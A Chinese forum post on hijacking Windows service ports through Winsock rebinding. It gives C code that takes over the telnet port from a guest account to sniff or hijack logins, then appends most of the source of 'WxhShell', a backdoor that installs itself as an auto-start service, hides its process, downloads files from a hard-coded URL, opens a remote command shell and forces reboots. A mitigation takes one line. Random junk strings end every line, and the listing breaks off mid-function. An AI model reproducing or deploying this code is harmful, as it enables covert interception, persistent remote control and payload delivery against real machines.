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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4iXB`@k  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); SuO@LroxTB  
_a~uIGN  
  saddr.sin_family = AF_INET; "kS(b4^  
.L#xX1qr  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1x"S^j   
*0*1.>Vg  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); CDNh9`  
"_g3{[es!  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 zKnHo:SV  
%, U@ D4w  
  这意味着什么?意味着可以进行如下的攻击: 55mDLiA  
vE}>PEfA  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1ymq7F(2  
F$|Ec9  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) eJ=K*t|  
/^m3?q[a  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 n1"QHA  
[K*>W[n  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  `4@_Y<  
i*T>, z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `8.Oc;*zu  
QJsud{ada  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 |uT &M`7\{  
g[#4`Q<.  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Zx1I&K\Cd  
(_9cL,v  
  #include nVO|*Bnf)  
  #include B.J_(V+  
  #include lT<4c5 %  
  #include    Zi!6dl ev  
  DWORD WINAPI ClientThread(LPVOID lpParam);   "K!9^!4&  
  int main() ZRK1 UpP  
  { T%opkyP>=  
  WORD wVersionRequested; 6v]y\+  
  DWORD ret; )|Ho"VEmg  
  WSADATA wsaData; {<p-/|Z52  
  BOOL val; zUe)f~4  
  SOCKADDR_IN saddr; ]]InD N  
  SOCKADDR_IN scaddr; 7AOjlC9R}  
  int err; 4X()D {uR  
  SOCKET s; 6F@2:]W  
  SOCKET sc; {m<NPtp910  
  int caddsize; EYsf<8cl  
  HANDLE mt; Z7Y+rP[l  
  DWORD tid;   kW 7 $  
  wVersionRequested = MAKEWORD( 2, 2 ); ';CL;A;  
  err = WSAStartup( wVersionRequested, &wsaData ); ? >\JX  
  if ( err != 0 ) { N9[2k.oBH  
  printf("error!WSAStartup failed!\n"); "I7 Sed7  
  return -1; OLl?1  
  } No'^]r  
  saddr.sin_family = AF_INET; aS7%x>.A!  
   x+X^K_*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 W=$cQ(x4Z  
P+h p'YK1  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); UTThl2=+  
  saddr.sin_port = htons(23); P XH"%vVF  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) J[?7`6\M  
  { ](z?zDk  
  printf("error!socket failed!\n"); z.xOT;t  
  return -1; UImd* ;2TE  
  } HgY#O r(  
  val = TRUE; _F"o0K!u  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 'u%;5;%2  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <f')]  
  { >o#^)LN  
  printf("error!setsockopt failed!\n"); [^J2<\<0  
  return -1; c^$+=-G{fd  
  } (I) e-1  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; E>|xv#:~DV  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }+" N '  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ?11\@d  
4raKhN"  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) CQ(;L{}  
  { R24ZjbKL  
  ret=GetLastError(); (ohza<X;6  
  printf("error!bind failed!\n"); <]/z45?  
  return -1; us:V\V  
  } jW?siQO^  
  listen(s,2); 0D\b;ju<  
  while(1) =N +Ou5D  
  { H=f'nm]dQ  
  caddsize = sizeof(scaddr); }EW@/; kC  
  //接受连接请求 M< T[%)v  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); fuwv,[m  
  if(sc!=INVALID_SOCKET) 8:iu 8c$  
  { N@z+h  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); EJbFo682  
  if(mt==NULL) ,IODV`L  
  { Sv E|"  
  printf("Thread Creat Failed!\n");  <0,szw  
  break; n1Y3b~E?E  
  } UT^-!L LB]  
  } w^.^XK4v.  
  CloseHandle(mt); dV5aIj  
  } @ k`^Z5tN  
  closesocket(s); Dn}Wsd=  
  WSACleanup(); Ke_ & dgsq  
  return 0; |<YoH$.  
  }   X~H ~k1  
  DWORD WINAPI ClientThread(LPVOID lpParam) /!u#S9_B  
  { Q]?Lg  
  SOCKET ss = (SOCKET)lpParam; vbZGs7%  
  SOCKET sc; $oJ)W@>  
  unsigned char buf[4096]; F$;vPAxbK"  
  SOCKADDR_IN saddr; 0%m}tfQ5  
  long num; vE9M2[TJA  
  DWORD val;  F%}0q&  
  DWORD ret; ]{[8$|Mg  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ?^# h|aUp.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   dZ kr#>  
  saddr.sin_family = AF_INET; e>Z F? (a0  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1");  h,D6MP  
  saddr.sin_port = htons(23); u_5O<UP5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >-~2:d\M3  
  { 0B4&!J  
  printf("error!socket failed!\n"); `$X|VAS2  
  return -1; 8@S5P$b};  
  } &SzLEbU!  
  val = 100; 5&uS700  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ddR_+B*H  
  { w84 ] s%y  
  ret = GetLastError(); 05|,-S  
  return -1; ()E:gq Q  
  } 7jb{E+DrG  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &I[ITp6y 0  
  { I3 %P_oW'  
  ret = GetLastError(); owA0I'|V-A  
  return -1; 8Jz/'  
  } a-`OE"  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .45XS>=z#  
  { cI5*`LML1  
  printf("error!socket connect failed!\n"); #&@qmps(T  
  closesocket(sc); :\0q\2e[<  
  closesocket(ss); Se o3a6o  
  return -1; i>Cxi ZT  
  } x bG'![OX  
  while(1) %Jrdr`<  
  { a=55bEn  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~~.v*C[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 U#B,Q6~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 n&. bs7N2  
  num = recv(ss,buf,4096,0); [":[\D'  
  if(num>0) :qx>P_&y}z  
  send(sc,buf,num,0); R|Oy/RGY$  
  else if(num==0) 5 i1T?  
  break; ! ~' \Ey  
  num = recv(sc,buf,4096,0); E0nR Vg  
  if(num>0)  V/0?0VKG  
  send(ss,buf,num,0); 6zQ {Y"0  
  else if(num==0) A%VBBvk  
  break; A2` QlhZ  
  } bb6 ~H  
  closesocket(ss); ;|2h&8yX(/  
  closesocket(sc); n 0X_m@  
  return 0 ; s[yIvlHw`  
  } ,_66U;T  
X^tVq..0  
oCLs"L-r{  
========================================================== 3^LSK7.:  
G-U%  
下边附上一个代码,,WXhSHELL |~! R5|Q  
." m6zq  
========================================================== u}QB-oU  
`ag7xd!  
#include "stdafx.h" $jYwV0  
ub "(,k P  
#include <stdio.h> 5XNIX)H  
#include <string.h> 3:$hC8  
#include <windows.h> TA47lz q  
#include <winsock2.h> 7'[C+/:  
#include <winsvc.h> #]s>  
#include <urlmon.h> gT K5z.]  
8s4y7%,|  
#pragma comment (lib, "Ws2_32.lib") (D'Z4Y  
#pragma comment (lib, "urlmon.lib") wz*QB6QtU  
guC/eSxv  
#define MAX_USER   100 // 最大客户端连接数 i^{.Q-  
#define BUF_SOCK   200 // sock buffer c<V.\y0x  
#define KEY_BUFF   255 // 输入 buffer n9;+RhxA  
UarU.~Uqi  
#define REBOOT     0   // 重启 d[.kGytUt  
#define SHUTDOWN   1   // 关机 2`#jw)dM;}  
$'f<4  
#define DEF_PORT   5000 // 监听端口 @!\ g+z_"  
p{j }%) 6n  
#define REG_LEN     16   // 注册表键长度 @:@0}]%z9  
#define SVC_LEN     80   // NT服务名长度 -jB1tba  
oZ O 6J-ea  
// 从dll定义API =&*:)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e`Xy!@`_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Sti)YCXH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?Z@FxW  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); XA~Rn>7&H  
<zN  
// wxhshell配置信息 ;lST@>  
struct WSCFG { "C$z)  
  int ws_port;         // 监听端口 4C(vBKl  
  char ws_passstr[REG_LEN]; // 口令 j.$#10*:  
  int ws_autoins;       // 安装标记, 1=yes 0=no lz!F{mR  
  char ws_regname[REG_LEN]; // 注册表键名 O)MKEMuA  
  char ws_svcname[REG_LEN]; // 服务名 ^R.#n[-r2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0 &U,WA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %zHNX4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^4Ra$<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no U,C L*qTF  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 40pGu  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^e$;I8l  
AElx #` T  
}; [L1pDICoy  
>n@?F[Y  
// default Wxhshell configuration c'_-jdi`>_  
struct WSCFG wscfg={DEF_PORT, ;T2)nSAqt  
    "xuhuanlingzhe", pN<wO1\9  
    1, lgZ3=h  
    "Wxhshell", yhe$A<Rl=  
    "Wxhshell", *b?C%a9  
            "WxhShell Service", ?H7*?HV  
    "Wrsky Windows CmdShell Service", KQ3]'2q  
    "Please Input Your Password: ", FxSBxz<N-A  
  1, (Q !4\Gy  
  "http://www.wrsky.com/wxhshell.exe", <@n/[ +3  
  "Wxhshell.exe" cA"',N8!5  
    }; lTPo2-j/eK  
^RG6h  
// 消息定义模块 : j&M&+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KO(+%>^R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; XM3N>OR.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @.fuR#  
char *msg_ws_ext="\n\rExit."; "GP!]3t  
char *msg_ws_end="\n\rQuit."; irCS}Dbw  
char *msg_ws_boot="\n\rReboot..."; CjM+%l0MW  
char *msg_ws_poff="\n\rShutdown..."; AiSO|!<.N  
char *msg_ws_down="\n\rSave to "; lhTjG,U=  
ll {jE  
char *msg_ws_err="\n\rErr!"; e#K =SV!H  
char *msg_ws_ok="\n\rOK!"; H,qIHQW#  
p5^,3&  
char ExeFile[MAX_PATH]; h&J6  
int nUser = 0; ^_JD 7-g  
HANDLE handles[MAX_USER]; ;Jt*s  
int OsIsNt; d$s1l  
~oI7TP  
SERVICE_STATUS       serviceStatus; Vb06z3"r  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `pF|bZ?v  
\pZ,gF;y  
// 函数声明 z 8M^TV  
int Install(void); \4I1wdd|^  
int Uninstall(void); 9iWDEk  
int DownloadFile(char *sURL, SOCKET wsh); $j^Jj  
int Boot(int flag); xA]CtB*o7  
void HideProc(void); <CJua1l\  
int GetOsVer(void); -UkP{x)S  
int Wxhshell(SOCKET wsl); >z6 (fM`i  
void TalkWithClient(void *cs); >`p`^:  
int CmdShell(SOCKET sock); )JE;#m0q  
int StartFromService(void); aksyr$d0V<  
int StartWxhshell(LPSTR lpCmdLine); bL (g$Yi  
sTdD=>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z{`;Ys:zk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Mw@T!)(  
R-J\c+C>W  
// 数据结构和表定义 Nh~ Hh(   
SERVICE_TABLE_ENTRY DispatchTable[] = VO>A+vx3M  
{ +Y,>ftN  
{wscfg.ws_svcname, NTServiceMain}, d8Jy$,/`?  
{NULL, NULL} |c,":R  
}; STs~GOm-  
QRXsLdf$$  
// 自我安装 ^ng#J\  
int Install(void) zcD&xoL\H  
{ ./mh 9ax  
  char svExeFile[MAX_PATH]; O^hWG ~o  
  HKEY key; zu<b#Wv  
  strcpy(svExeFile,ExeFile); bCg {z b#  
r]?ZXe$;  
// 如果是win9x系统,修改注册表设为自启动 i;c0X+[  
if(!OsIsNt) { T5NO}bz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z5;1ySn{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0 V*Di2  
  RegCloseKey(key); ~WU _u,:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U?JZ23>bbw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {bL6%._C  
  RegCloseKey(key); ,Cj1S7GFR  
  return 0; q5?g/-_0[  
    } tYiK#N7  
  } MVz=:2)J2  
} MhNzmI&`  
else { ws Lg6  
U .hV1  
// 如果是NT以上系统,安装为系统服务 NY\q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <Bb $d@c  
if (schSCManager!=0) V(1Ldl'a  
{ U 9TEC)  
  SC_HANDLE schService = CreateService Lv+lLK  
  ( *W,"UL6U8y  
  schSCManager, E~_2Jf\U  
  wscfg.ws_svcname, |E0>-\6  
  wscfg.ws_svcdisp, gxpR#/(E~  
  SERVICE_ALL_ACCESS, jZS6f*$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K>6#MI  
  SERVICE_AUTO_START, {&8-OoH ~  
  SERVICE_ERROR_NORMAL, _KC)f'Cx  
  svExeFile, Oga0CR_  
  NULL, }9t$Cs%  
  NULL, 6+BR5Nr  
  NULL, Q.#@xaX'{`  
  NULL, ibex:W^  
  NULL d*Dq=.F(  
  ); Kvv&# eO\  
  if (schService!=0) LGKkT?fcSC  
  { FOgF'!K  
  CloseServiceHandle(schService); }UZ$<81=  
  CloseServiceHandle(schSCManager); 6Lz{/l8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -X5rGp++  
  strcat(svExeFile,wscfg.ws_svcname); dG}fpQ3&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X{\>TOk   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +[8s9{1{C  
  RegCloseKey(key); mb~w .~%  
  return 0; 048BQ  
    } v5i[jM8  
  } _,_>B8  
  CloseServiceHandle(schSCManager); o0&jel1a  
} |Y|{9Osus  
} ym:^Y-^iV  
k1i*1Tc  
return 1; y562g`"U  
} Teu4;  
6tB-  
// 自我卸载 e@*Gnh<&  
int Uninstall(void) E.Xf b"]  
{ a h>k=t8(  
  HKEY key; QgO@oV*S  
{^>m3  
if(!OsIsNt) { JYOyz+wNd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ) Yz` 6  
  RegDeleteValue(key,wscfg.ws_regname); S*Un$ngAh  
  RegCloseKey(key); yd[}?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D{I^_~-\5  
  RegDeleteValue(key,wscfg.ws_regname); tiSN amvG1  
  RegCloseKey(key); K2>(C$Z  
  return 0; 1BwCJ7?8  
  } z"bgtlfb8  
} ,Y=r] fk  
} KG6ki_  
else { ,.uu/qV}w  
RzQ1Wq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 55MsF}p  
if (schSCManager!=0) GiJ|5"  
{ / *xP`'T  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Yv }G"-=  
  if (schService!=0) Brr{iBz*"  
  { &F9BaJ  
  if(DeleteService(schService)!=0) { u*Z>&]W_  
  CloseServiceHandle(schService); U(]a(k<r  
  CloseServiceHandle(schSCManager); ))cL+ r  
  return 0; 'A .c*<_  
  } bPEf2Z G4  
  CloseServiceHandle(schService); ;X-~C.7k  
  } FFb`4.  
  CloseServiceHandle(schSCManager); ]WR+>)ERb  
} /cF 6{0XS9  
} {ER! 0w/  
S Y>i@s+ML  
return 1; 4]A2Jl E  
} J?Brnf.  
/c'3I  
// 从指定url下载文件 wO&`3Q3~$  
int DownloadFile(char *sURL, SOCKET wsh) ^_#0\f  
{ @B %m,Mx  
  HRESULT hr; `4__X;  
char seps[]= "/"; P66{l^  
char *token; !ccKbw)J#  
char *file; ~4y&]:I  
char myURL[MAX_PATH]; F&.iY0Pt  
char myFILE[MAX_PATH]; I=6\z^:  
$cEl6(66iX  
strcpy(myURL,sURL); ,@jRe&6  
  token=strtok(myURL,seps); Kl GPu GL  
  while(token!=NULL) j9u/R01d  
  { _7#Ng@#\  
    file=token; no`c[XY  
  token=strtok(NULL,seps); ty[bIaQi  
  } ?r0#{x~  
-;&aU;k  
GetCurrentDirectory(MAX_PATH,myFILE); $D +6=m[  
strcat(myFILE, "\\"); 34k<7X`I  
strcat(myFILE, file); 8M*[RlUJB  
  send(wsh,myFILE,strlen(myFILE),0); ]+;1)  
send(wsh,"...",3,0); J * $u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); CdgZq\  
  if(hr==S_OK) :zdMV6s  
return 0; j9n3  
else ,S E5W2a]  
return 1; ]\w0u7}  
"- S2${  
} X> :@`}bq  
- FV$Sne  
// 系统电源模块 =)vmX0vL  
int Boot(int flag) /fbI4&SB!  
{ $7eO33Bm  
  HANDLE hToken; i71 ,  
  TOKEN_PRIVILEGES tkp;  hX?L/yf  
!cPiH6eO  
  if(OsIsNt) { ps=jGh[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {.pR$]6B"+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l|z 'Lwwm5  
    tkp.PrivilegeCount = 1; ?9xaBWf  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?F]Yebp^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Xd/gvg{??0  
if(flag==REBOOT) { \GS]jhEtn  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (G $nN*rlu  
  return 0; ["|AD,$%  
} /Y@^B,6 \  
else { fH~InDT^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3&'ll51t  
  return 0; ?;@xAj  
} V{@ xhW0  
  } Z_Jprp{3h  
  else { =xcA4"k  
if(flag==REBOOT) { "@U9'rKx  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yzr>]"o  
  return 0; |3{DlZ2S  
} j_S///  
else { rOQhS]TP*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7sKN`  
  return 0; $s<,xY 9  
} #A<|&#hh  
} Sp$~)f'  
E6a$c`H@?  
return 1; iL(rZT&^  
} m<)0 XE6w  
k_%2Ok   
// win9x进程隐藏模块 b);Pw"_2  
void HideProc(void) RaT(^b(  
{ +;~JHx.~X  
y;Xb." e~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sPY *2B  
  if ( hKernel != NULL ) n ^P=a'+  
  { \hN\px  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dK'?<w$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V&`\ s5Q  
    FreeLibrary(hKernel); RN\4y{@  
  } x)0g31 4 9  
9t@^P^}=\m  
return; ?h UC#{  
} 4GWt.+{J$  
YVt#( jl  
// 获取操作系统版本 @s!9 T  
int GetOsVer(void) Kn3qq  
{ <"w;:Zs  
  OSVERSIONINFO winfo; V\^rs41$;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /.<%y 8v  
  GetVersionEx(&winfo); D>M a3g  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e^kccz2f  
  return 1; 4DI.R K9  
  else RG/M-  
  return 0; <,p|3p3  
} *O-1zIlp  
bOjvrg;Sz\  
// 客户端句柄模块 >m='#x0>Y  
int Wxhshell(SOCKET wsl) f`'?2  
{ K=Z~$)Og)  
  SOCKET wsh; ULc oti=,  
  struct sockaddr_in client; cPA-EH  
  DWORD myID; Pk/{~!+ $  
NIufL }6\  
  while(nUser<MAX_USER) cF!ygz//  
{ P5s'cPX  
  int nSize=sizeof(client); J'^H@L/E  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "?EoYF_  
  if(wsh==INVALID_SOCKET) return 1; i? 5jl&30  
P#-9{T   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); y<mmv~=  
if(handles[nUser]==0) )6U&^9=  
  closesocket(wsh); ;okFm  
else ~]f+   
  nUser++; KdU!wsKfG  
  } j`jF{k b  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !4-B xeNY\  
3wZA,Z  
  return 0; HqNM31)  
} N,U<.{T=A  
.;j}:<  
// 关闭 socket k(1]!c4J0  
void CloseIt(SOCKET wsh) m<L.H33'  
{ rT$J0"*=  
closesocket(wsh); =9$hZ c  
nUser--; gwE#,OY*  
ExitThread(0); WE\@ArY>  
} ?U'c;*O-  
2g shiY8_  
// 客户端请求句柄 =4`#OQ&g  
void TalkWithClient(void *cs) S*;8z}5<\  
{ I^|6gaP|6  
 fp!Ba  
  SOCKET wsh=(SOCKET)cs; gN#&Ag<?  
  char pwd[SVC_LEN]; w$I<WS{J:Z  
  char cmd[KEY_BUFF]; l`c&nf6  
char chr[1]; ,b;eU[!]  
int i,j; ERcj$ [:T(  
O=E"n*U  
  while (nUser < MAX_USER) { >7%Gd-;l  
CVfQ  
if(wscfg.ws_passstr) { $1<V'b[E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +Hx$ABH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [1{#a {4  
  //ZeroMemory(pwd,KEY_BUFF); MX!t/&X(n  
      i=0; gP=(2EVE  
  while(i<SVC_LEN) { df@IC@`pB  
fNb2>1  
  // 设置超时 heQ<%NIA"  
  fd_set FdRead; {p J{UJKv?  
  struct timeval TimeOut; XBQ]A89G  
  FD_ZERO(&FdRead); ,iKEIxA!  
  FD_SET(wsh,&FdRead); dXr=&@ 1  
  TimeOut.tv_sec=8; r ;:5P%:  
  TimeOut.tv_usec=0; !DsKa6Zj  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }^r=(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xb/L AlJ  
/ J 3   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s}Y_og_c  
  pwd=chr[0]; 7hAFK  
  if(chr[0]==0xd || chr[0]==0xa) { #wz1uw[pI!  
  pwd=0; i'Vrx(y3  
  break; lGHU{7j\  
  } yt,xA;g  
  i++; Br w-"tmx  
    } lq0@)'D  
/G)Y~1ASA%  
  // 如果是非法用户,关闭 socket %qG nvQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i,HafY  
} 5!WQ  
cQkH4>C~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9WN 4eC$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p.{9OrH(4  
r&F(VF0 6  
while(1) { W 2/`O?  
<>3}<i<[&  
  ZeroMemory(cmd,KEY_BUFF); eu!B ,  
Fkgnc{NI  
      // 自动支持客户端 telnet标准   xWkCP2$?P  
  j=0; >E*j4gg  
  while(j<KEY_BUFF) { JkT , i_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T)%34gN  
  cmd[j]=chr[0]; 9 Yv;Dom  
  if(chr[0]==0xa || chr[0]==0xd) { uJ:'<dJ  
  cmd[j]=0; @C[]o.r  
  break; Y1 e>P  
  } r!Ujy .R  
  j++; {2u#Q 7]|  
    } 76e%&ZG)Q  
&YMz3ugI  
  // 下载文件 9qyA{ |3  
  if(strstr(cmd,"http://")) { yEYlQ=[#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5I#L|+  
  if(DownloadFile(cmd,wsh)) TR2X' `:O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); CX](^yU_  
  else CKJ9YKu{W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L,!3  
  } Jpi\n- d!  
  else { "[ f"h  
CXC,@T  
    switch(cmd[0]) { QcZ*dI7]:  
  l| 1O9I0Gd  
  // 帮助 *#ccz  
  case '?': { =HJ)!(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tqI]S X  
    break; th&?  
  } W i a%rm  
  // 安装 tI651Wm9  
  case 'i': { 5sbMp;ZM  
    if(Install()) QWt ?` h=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :U^!N8i"=  
    else Y\e,#y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]Z/<H P$#  
    break; z#qlu=  
    } \i Ylh HD  
  // 卸载 &(H;Bin'  
  case 'r': { B>kx$_~  
    if(Uninstall()) =,Y i" E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pba 6Ay6B  
    else 4F_*,_Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /I[?TsXp  
    break; h-0sDt pR  
    } 'FB?#C%U  
  // 显示 wxhshell 所在路径 6=V&3|"  
  case 'p': { T /iKz  
    char svExeFile[MAX_PATH]; Yh`P+L  
    strcpy(svExeFile,"\n\r"); p-]vf$u  
      strcat(svExeFile,ExeFile); y*ae 5=6(  
        send(wsh,svExeFile,strlen(svExeFile),0); LKtug>Me  
    break; ~jK'n4  
    } u,<#z0R|;$  
  // 重启 w eMC 9T)B  
  case 'b': { unE h  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); i:ar{ q  
    if(Boot(REBOOT)) :W'Yt9v)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XA8{N  
    else { X+l &MD  
    closesocket(wsh); sGx"j a +  
    ExitThread(0); .~#<>  
    } rLMjN#`^  
    break; <DG=qP6O  
    } VgfA&?4[  
  // 关机 5GD6%{\O  
  case 'd': { w2B If[~t  
